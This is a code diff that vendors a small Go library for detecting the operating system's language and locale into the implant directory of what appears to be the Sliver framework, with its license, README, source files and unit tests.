+                        Version 2.0, January 2004
+                     http://www.apache.org/licenses/
+
+TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+1. Definitions.
+
+   "License" shall mean the terms and conditions for use, reproduction,
+   and distribution as defined by Sections 1 through 9 of this document.
+
+   "Licensor" shall mean the copyright owner or entity authorized by
+   the copyright owner that is granting the License.
+
+   "Legal Entity" shall mean the union of the acting entity and all
+   other entities that control, are controlled by, or are under common
+   control with that entity. For the purposes of this definition,
+   "control" means (i) the power, direct or indirect, to cause the
+   direction or management of such entity, whether by contract or
+   otherwise, or (ii) ownership of fifty percent (50%) or more of the
+   outstanding shares, or (iii) beneficial ownership of such entity.
+
+   "You" (or "Your") shall mean an individual or Legal Entity
+   exercising permissions granted by this License.
+
+   "Source" form shall mean the preferred form for making modifications,
+   including but not limited to software source code, documentation
+   source, and configuration files.
+
+   "Object" form shall mean any form resulting from mechanical
+   transformation or translation of a Source form, including but
+   not limited to compiled object code, generated documentation,
+   and conversions to other media types.
+
+   "Work" shall mean the work of authorship, whether in Source or
+   Object form, made available under the License, as indicated by a
+   copyright notice that is included in or attached to the work
+   (an example is provided in the Appendix below).
+
+   "Derivative Works" shall mean any work, whether in Source or Object
+   form, that is based on (or derived from) the Work and for which the
+   editorial revisions, annotations, elaborations, or other modifications
+   represent, as a whole, an original work of authorship. For the purposes
+   of this License, Derivative Works shall not include works that remain
+   separable from, or merely link (or bind by name) to the interfaces of,
+   the Work and Derivative Works thereof.
+
+   "Contribution" shall mean any work of authorship, including
+   the original version of the Work and any modifications or additions
+   to that Work or Derivative Works thereof, that is intentionally
+   submitted to Licensor for inclusion in the Work by the copyright owner
+   or by an individual or Legal Entity authorized to submit on behalf of
+   the copyright owner. For the purposes of this definition, "submitted"
+   means any form of electronic, verbal, or written communication sent
+   to the Licensor or its representatives, including but not limited to
+   communication on electronic mailing lists, source code control systems,
+   and issue tracking systems that are managed by, or on behalf of, the
+   Licensor for the purpose of discussing and improving the Work, but
+   excluding communication that is conspicuously marked or otherwise
+   designated in writing by the copyright owner as "Not a Contribution."
+
+   "Contributor" shall mean Licensor and any individual or Legal Entity
+   on behalf of whom a Contribution has been received by Licensor and
+   subsequently incorporated within the Work.
+
+2. Grant of Copyright License. Subject to the terms and conditions of
+   this License, each Contributor hereby grants to You a perpetual,
+   worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+   copyright license to reproduce, prepare Derivative Works of,
+   publicly display, publicly perform, sublicense, and distribute the
+   Work and such Derivative Works in Source or Object form.
+
+3. Grant of Patent License. Subject to the terms and conditions of
+   this License, each Contributor hereby grants to You a perpetual,
+   worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+   (except as stated in this section) patent license to make, have made,
+   use, offer to sell, sell, import, and otherwise transfer the Work,
+   where such license applies only to those patent claims licensable
+   by such Contributor that are necessarily infringed by their
+   Contribution(s) alone or by combination of their Contribution(s)
+   with the Work to which such Contribution(s) was submitted. If You
+   institute patent litigation against any entity (including a
+   cross-claim or counterclaim in a lawsuit) alleging that the Work
+   or a Contribution incorporated within the Work constitutes direct
+   or contributory patent infringement, then any patent licenses
+   granted to You under this License for that Work shall terminate
+   as of the date such litigation is filed.
+
+4. Redistribution. You may reproduce and distribute copies of the
+   Work or Derivative Works thereof in any medium, with or without
+   modifications, and in Source or Object form, provided that You
+   meet the following conditions:
+
+   (a) You must give any other recipients of the Work or
+       Derivative Works a copy of this License; and
+
+   (b) You must cause any modified files to carry prominent notices
+       stating that You changed the files; and
+
+   (c) You must retain, in the Source form of any Derivative Works
+       that You distribute, all copyright, patent, trademark, and
+       attribution notices from the Source form of the Work,
+       excluding those notices that do not pertain to any part of
+       the Derivative Works; and
+
+   (d) If the Work includes a "NOTICE" text file as part of its
+       distribution, then any Derivative Works that You distribute must
+       include a readable copy of the attribution notices contained
+       within such NOTICE file, excluding those notices that do not
+       pertain to any part of the Derivative Works, in at least one
+       of the following places: within a NOTICE text file distributed
+       as part of the Derivative Works; within the Source form or
+       documentation, if provided along with the Derivative Works; or,
+       within a display generated by the Derivative Works, if and
+       wherever such third-party notices normally appear. The contents
+       of the NOTICE file are for informational purposes only and
+       do not modify the License. You may add Your own attribution
+       notices within Derivative Works that You distribute, alongside
+       or as an addendum to the NOTICE text from the Work, provided
+       that such additional attribution notices cannot be construed
+       as modifying the License.
+
+   You may add Your own copyright statement to Your modifications and
+   may provide additional or different license terms and conditions
+   for use, reproduction, or distribution of Your modifications, or
+   for any such Derivative Works as a whole, provided Your use,
+   reproduction, and distribution of the Work otherwise complies with
+   the conditions stated in this License.
+
+5. Submission of Contributions. Unless You explicitly state otherwise,
+   any Contribution intentionally submitted for inclusion in the Work
+   by You to the Licensor shall be under the terms and conditions of
+   this License, without any additional terms or conditions.
+   Notwithstanding the above, nothing herein shall supersede or modify
+   the terms of any separate license agreement you may have executed
+   with Licensor regarding such Contributions.
+
+6. Trademarks. This License does not grant permission to use the trade
+   names, trademarks, service marks, or product names of the Licensor,
+   except as required for reasonable and customary use in describing the
+   origin of the Work and reproducing the content of the NOTICE file.
+
+7. Disclaimer of Warranty. Unless required by applicable law or
+   agreed to in writing, Licensor provides the Work (and each
+   Contributor provides its Contributions) on an "AS IS" BASIS,
+   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+   implied, including, without limitation, any warranties or conditions
+   of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+   PARTICULAR PURPOSE. You are solely responsible for determining the
+   appropriateness of using or redistributing the Work and assume any
+   risks associated with Your exercise of permissions under this License.
+
+8. Limitation of Liability. In no event and under no legal theory,
+   whether in tort (including negligence), contract, or otherwise,
+   unless required by applicable law (such as deliberate and grossly
+   negligent acts) or agreed to in writing, shall any Contributor be
+   liable to You for damages, including any direct, indirect, special,
+   incidental, or consequential damages of any character arising as a
+   result of this License or out of the use or inability to use the
+   Work (including but not limited to damages for loss of goodwill,
+   work stoppage, computer failure or malfunction, or any and all
+   other commercial damages or losses), even if such Contributor
+   has been advised of the possibility of such damages.
+
+9. Accepting Warranty or Additional Liability. While redistributing
+   the Work or Derivative Works thereof, You may choose to offer,
+   and charge a fee for, acceptance of support, warranty, indemnity,
+   or other liability obligations and/or rights consistent with this
+   License. However, in accepting such obligations, You may act only
+   on Your own behalf and on Your sole responsibility, not on behalf
+   of any other Contributor, and only if You agree to indemnify,
+   defend, and hold each Contributor harmless for any liability
+   incurred by, or claims asserted against, such Contributor by reason
+   of your accepting any such warranty or additional liability.
+
+END OF TERMS AND CONDITIONS
+
+APPENDIX: How to apply the Apache License to your work.
+
+   To apply the Apache License to your work, attach the following
+   boilerplate notice, with the fields enclosed by brackets "[]"
+   replaced with your own identifying information. (Don't include
+   the brackets!)  The text should be enclosed in the appropriate
+   comment syntax for the file format. We also recommend that a
+   file or class name and description of purpose be included on the
+   same "printed page" as the copyright notice for easier
+   identification within third-party archives.
+
+Copyright 2014 Pivotal
+
+Licensed under the Apache License, Version 2.0 (the "License");
+you may not use this file except in compliance with the License.
+You may obtain a copy of the License at
+
+    http://www.apache.org/licenses/LICENSE-2.0
+
+Unless required by applicable law or agreed to in writing, software
+distributed under the License is distributed on an "AS IS" BASIS,
+WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+See the License for the specific language governing permissions and
+limitations under the License.

implant/sliver/locale/jibberjabber/README.md

@@ -0,0 +1,95 @@
+# Jibber Jabber [![Build Status](https://travis-ci.org/cubiest/jibberjabber.svg?branch=master)](https://travis-ci.org/cubiest/jibberjabber)
+
+Jibber Jabber is a GoLang Library that can be used to detect an operating system's current language, plus helper functionalities for app development.
+
+
+## OS Support
+
+UNIX: **GNU/Linux**, **macOS**, **FreeBSD**, **OpenBSD**, **NetBSD**  
+via the `LC_MESSAGES`, `LC_ALL` and `LANG` environment variables. They are checked in the aforementioned order.  
+These variables are used in ALL versions of UNIX for language detection.
+
+**Windows**  
+via [GetUserDefaultLocaleName](https://docs.microsoft.com/en-gb/windows/win32/api/winnls/nf-winnls-getuserdefaultlocalename) and [GetSystemDefaultLocaleName](https://docs.microsoft.com/en-gb/windows/win32/api/winnls/nf-winnls-getsystemdefaultlocalename) system calls. These calls are supported in Windows Vista and up.
+
+
+
+## DetectIETF
+
+`DetectIETF` will return the current locale as a string. The format of the locale will be the [ISO 639](http://en.wikipedia.org/wiki/ISO_639) two-letter language code, a DASH, then an [ISO 3166](http://en.wikipedia.org/wiki/ISO_3166-1) two-letter country code.
+
+**Example:**
+```golang
+	userLocale, err := jibberjabber.DetectIETF()
+	println("Locale:", userLocale)
+```
+
+
+## DetectLanguage
+`DetectLanguage` will return the current language as a string. The format will be the [ISO 639](http://en.wikipedia.org/wiki/ISO_639) two-letter language code.
+
+also import the following packages for parsing the returned locale
+```golang
+	"golang.org/x/text/language"
+	"golang.org/x/text/language/display"
+
+```
+
+
+**Example:**
+```golang
+	userLanguage, err := jibberjabber.DetectLanguage()
+	println("Language:", userLanguage)
+	languageTag, parseErr := language.Parse(userLanguage)
+	println("Language:", display.Self.Name(languageTag))
+	
+```
+
+
+## DetectLanguageTag
+
+`DetectLanguageTag` will return the current language as a language tag as specified by `"golang.org/x/text/language"`.
+
+**Example:**
+```golang
+	languageTag, parseErr := jibberjabber.DetectLanguageTag()
+	println("Language:", display.Self.Name(languageTag))
+	
+```
+
+
+## DetectTerritory
+
+`DetectTerritory` will return the current locale territory as a string. The format will be the [ISO 3166](http://en.wikipedia.org/wiki/ISO_3166-1) two-letter country code.
+
+**Example:**
+```golang
+	localeTerritory, err := jibberjabber.DetectTerritory()
+	println("Territory:", localeTerritory)
+```
+
+
+## About Errors in Detect
+
+All the Detect commands will return an error if they are unable to read the Locale from the system.
+
+For Windows, additional error information is provided due to the nature of the system call being used.
+
+
+## Helper Singleton
+
+There is a singleton you can, but don't have to, use. It helps you define and later check which locales you support in your application - if not, apply a fallback language locale.
+
+**Example:**
+```golang
+	langServer := jibberjabber.LanguageServer()
+	langServer.SetSupportedLanguages(map[language.Tag]string{
+		language.German:  "active.de.toml",
+		language.English: "active.en.toml",
+	}
+	langServer.SetFallbackLanguage(language.English)
+	langLocale, err := langServer.StringToSupportedLanguageTag("something") // returns `language.English`
+	if err != nil {
+		log.Printf("failed fetching supported language locale, use fallback language locale %q\n", display.Self.Name(langLocale))
+	}
+```

implant/sliver/locale/jibberjabber/jibberjabber.go

@@ -0,0 +1,44 @@
+package jibberjabber
+
+import (
+	"errors"
+//	"fmt"
+//	"sort"
+	"strings"
+//	"sync"
+
+//	"golang.org/x/text/language"
+//	"golang.org/x/text/language/display"
+)
+
+var (
+	ErrLangDetectFail          = errors.New("could not detect Language")
+	ErrLangFallbackUndefined   = errors.New("no fallback language defined")
+	ErrLangFallbackUnsupported = errors.New("defined fallback language is not supported")
+	ErrLangUnsupported         = errors.New("language not supported")
+	ErrLangParse               = errors.New("language identifier cannot be parsed")
+)
+
+func splitLocale(locale string) (string, string) {
+	formattedLocale := strings.Split(locale, ".")[0]
+	formattedLocale = strings.Replace(formattedLocale, "-", "_", -1)
+
+	pieces := strings.Split(formattedLocale, "_")
+	language := pieces[0]
+	territory := ""
+	if len(pieces) > 1 {
+		territory = strings.Split(formattedLocale, "_")[1]
+	}
+	return language, territory
+}
+
+/**
+ * languageServer
+ */
+
+
+// IsError checks an error you received from one of jibberjabber's funcs for a jibberjabber error like `ErrLangDetectFail`.
+// Reason you cannot use e.g. `errors.Is()`: currently, golang does not allow native chain-wrapping errors. Therefore, `errors.Unwrap()`, `errors.Is()` & Co. won't return `true` for jibberjabber errors.
+func IsError(err error, jjError error) bool {
+	return strings.HasPrefix(err.Error(), jjError.Error())
+}

implant/sliver/locale/jibberjabber/jibberjabber_suite_test.go

@@ -0,0 +1,13 @@
+package jibberjabber_test
+
+import (
+	. "github.com/onsi/ginkgo"
+	. "github.com/onsi/gomega"
+
+	"testing"
+)
+
+func TestJibberJabber(t *testing.T) {
+	RegisterFailHandler(Fail)
+	RunSpecs(t, "Jibber Jabber Suite")
+}

implant/sliver/locale/jibberjabber/jibberjabber_unix.go

@@ -0,0 +1,44 @@
+// +build darwin freebsd linux netbsd openbsd
+
+package jibberjabber
+
+import (
+	"os"
+	"strings"
+)
+
+func getLangFromEnv() string {
+	for _, env := range []string{"LC_MESSAGES", "LC_ALL", "LANG"} {
+		locale := os.Getenv(env)
+		if len(locale) > 0 {
+			return locale
+		}
+	}
+	return ""
+}
+
+func getUnixLocale() (string, error) {
+	locale := getLangFromEnv()
+	if len(locale) <= 0 {
+		return "", ErrLangDetectFail
+	}
+	return locale, nil
+}
+
+// DetectIETF detects and returns the IETF language tag of UNIX systems, like Linux and macOS.
+// If a territory is defined, the returned value will be in the format of `[language]-[territory]`,
+// e.g. `en-GB`.
+func DetectIETF() (string, error) {
+	locale, err := getUnixLocale()
+	if err != nil {
+		return "", err
+	}
+
+	language, territory := splitLocale(locale)
+	locale = language
+	if len(territory) > 0 {
+		locale = strings.Join([]string{language, territory}, "-")
+	}
+
+	return locale, nil
+}

implant/sliver/locale/jibberjabber/jibberjabber_unix_test.go

@@ -0,0 +1,155 @@
+// +build darwin freebsd linux netbsd openbsd
+
+package jibberjabber_test
+
+import (
+	"errors"
+	"os"
+
+	. "github.com/bishopfox/sliver/implant/sliver/locale/jibberjabber"
+
+	. "github.com/onsi/ginkgo"
+	. "github.com/onsi/gomega"
+)
+
+var _ = Describe("Unix", func() {
+	AfterEach(func() {
+		os.Setenv("LC_MESSAGES", "")
+		os.Setenv("LC_ALL", "")
+		os.Setenv("LANG", "en_US.UTF-8")
+	})
+
+	Describe("#DetectIETF", func() {
+		Context("Returns IETF encoded locale", func() {
+			It("should return the locale set to LC_MESSAGES", func() {
+				os.Setenv("LC_MESSAGES", "fr_FR.UTF-8")
+				result, _ := DetectIETF()
+				Ω(result).Should(Equal("fr-FR"))
+			})
+
+			It("should return the locale set to LC_ALL if LC_MESSAGES isn't set", func() {
+				os.Setenv("LC_ALL", "fr_FR.UTF-8")
+				result, _ := DetectIETF()
+				Ω(result).Should(Equal("fr-FR"))
+			})
+
+			It("should return the locale set to LANG if LC_ALL isn't set", func() {
+				os.Setenv("LANG", "fr_FR.UTF-8")
+				result, _ := DetectIETF()
+				Ω(result).Should(Equal("fr-FR"))
+			})
+
+			It("should return an error if it cannot detect a locale", func() {
+				os.Setenv("LANG", "")
+				_, err := DetectIETF()
+				Ω(errors.Is(err, ErrLangDetectFail)).Should(BeTrue())
+			})
+		})
+
+		Context("when the locale is simply 'fr'", func() {
+			BeforeEach(func() {
+				os.Setenv("LANG", "fr")
+			})
+
+			It("should return the locale without a territory", func() {
+				language, err := DetectIETF()
+				Ω(err).ShouldNot(HaveOccurred())
+				Ω(language).Should(Equal("fr"))
+			})
+		})
+	})
+
+	Describe("#DetectLanguage", func() {
+		Context("Returns encoded language", func() {
+			It("should return the language set to LC_MESSAGES", func() {
+				os.Setenv("LC_MESSAGES", "fr_FR.UTF-8")
+				result, _ := DetectLanguage()
+				Ω(result).Should(Equal("fr"))
+			})
+
+			It("should return the language set to LC_ALL if LC_MESSAGES isn't set", func() {
+				os.Setenv("LC_ALL", "fr_FR.UTF-8")
+				result, _ := DetectLanguage()
+				Ω(result).Should(Equal("fr"))
+			})
+
+			It("should return the language set to LANG if LC_ALL isn't set", func() {
+				os.Setenv("LANG", "fr_FR.UTF-8")
+				result, _ := DetectLanguage()
+				Ω(result).Should(Equal("fr"))
+			})
+
+			It("should return an error if it cannot detect a language", func() {
+				os.Setenv("LANG", "")
+				_, err := DetectLanguage()
+				Ω(errors.Is(err, ErrLangDetectFail)).Should(BeTrue())
+			})
+		})
+	})
+
+	Describe("#DetectLanguageTag", func() {
+		Context("Returns encoded language tag", func() {
+			It("should return language tag corresponding to the language set to LC_MESSAGES", func() {
+				os.Setenv("LC_MESSAGES", "fr_FR.UTF-8")
+				result, _ := DetectLanguageTag()
+				base, _ := result.Base()
+				Ω(base.String()).Should(Equal("fr"))
+				region, _ := result.Region()
+				Ω(region.String()).Should(Equal("FR"))
+			})
+
+			It("should return language tag corresponding to the language set to LC_ALL if LC_MESSAGES isn't set", func() {
+				os.Setenv("LC_ALL", "fr_FR.UTF-8")
+				result, _ := DetectLanguageTag()
+				base, _ := result.Base()
+				Ω(base.String()).Should(Equal("fr"))
+				region, _ := result.Region()
+				Ω(region.String()).Should(Equal("FR"))
+			})
+
+			It("should return language tag corresponding to the language set to LANG if LC_ALL isn't set", func() {
+				os.Setenv("LANG", "fr_FR.UTF-8")
+				result, _ := DetectLanguageTag()
+				base, _ := result.Base()
+				Ω(base.String()).Should(Equal("fr"))
+				region, _ := result.Region()
+				Ω(region.String()).Should(Equal("FR"))
+			})
+
+			It("should return an error if it cannot detect and parse a language tag", func() {
+				os.Setenv("LANG", "")
+				_, err := DetectLanguageTag()
+				Ω(errors.Is(err, ErrLangDetectFail)).Should(BeTrue())
+			})
+		})
+	})
+
+	Describe("#DetectTerritory", func() {
+		Context("Returns encoded territory", func() {
+			It("should return the territory set to LC_MESSAGES", func() {
+				os.Setenv("LC_MESSAGES", "fr_FR.UTF-8")
+				result, _ := DetectTerritory()
+				Ω(result).Should(Equal("FR"))
+			})
+
+			It("should return the territory set to LC_ALL if LC_MESSAGES isn't set", func() {
+				os.Setenv("LC_ALL", "fr_FR.UTF-8")
+				result, _ := DetectTerritory()
+				Ω(result).Should(Equal("FR"))
+			})
+
+			It("should return the territory set to LANG if LC_ALL isn't set", func() {
+				os.Setenv("LANG", "fr_FR.UTF-8")
+				result, _ := DetectTerritory()
+				Ω(result).Should(Equal("FR"))
+			})
+
+			It("should return an error if it cannot detect a territory", func() {
+				os.Setenv("LANG", "")
+				_, err := DetectTerritory()
+				Ω(errors.Is(err, ErrLangDetectFail)).Should(BeTrue())
+			})
+		})
+	})
+
+})

implant/sliver/locale/jibberjabber/jibberjabber_windows.go

@@ -0,0 +1,47 @@
+// +build windows
+
+package jibberjabber
+
+import (
+	"errors"
+	"unsafe"
+
+	"golang.org/x/sys/windows"
+)
+
+// TODO: read LOCALE_NAME_MAX_LENGTH from Windows, instead of hard-coding '85'
+const LOCALE_NAME_MAX_LENGTH uint32 = 85
+
+func getWindowsLocaleFrom(sysCall string) (string, error) {
+	buffer := make([]uint16, LOCALE_NAME_MAX_LENGTH)
+
+	dll, err := windows.LoadDLL("kernel32")
+	if err != nil {
+		return "", errors.New("could not find kernel32 dll: " + err.Error())
+	}
+
+	proc, err := dll.FindProc(sysCall)
+	if err != nil {
+		return "", err
+	}
+
+	r, _, dllError := proc.Call(uintptr(unsafe.Pointer(&buffer[0])), uintptr(LOCALE_NAME_MAX_LENGTH))
+	if r == 0 {
+		return "", errors.New(ErrLangDetectFail.Error() + ": " + dllError.Error())
+	}
+
+	return windows.UTF16ToString(buffer), nil
+}
+
+func getWindowsLocale() (string, error) {
+	locale, err := getWindowsLocaleFrom("GetUserDefaultLocaleName")
+	if err != nil {
+		locale, err = getWindowsLocaleFrom("GetSystemDefaultLocaleName")
+	}
+	return locale, err
+}
+
+// DetectIETF detects and returns the IETF language tag of Windows.
+func DetectIETF() (string, error) {
+	return getWindowsLocale()
+}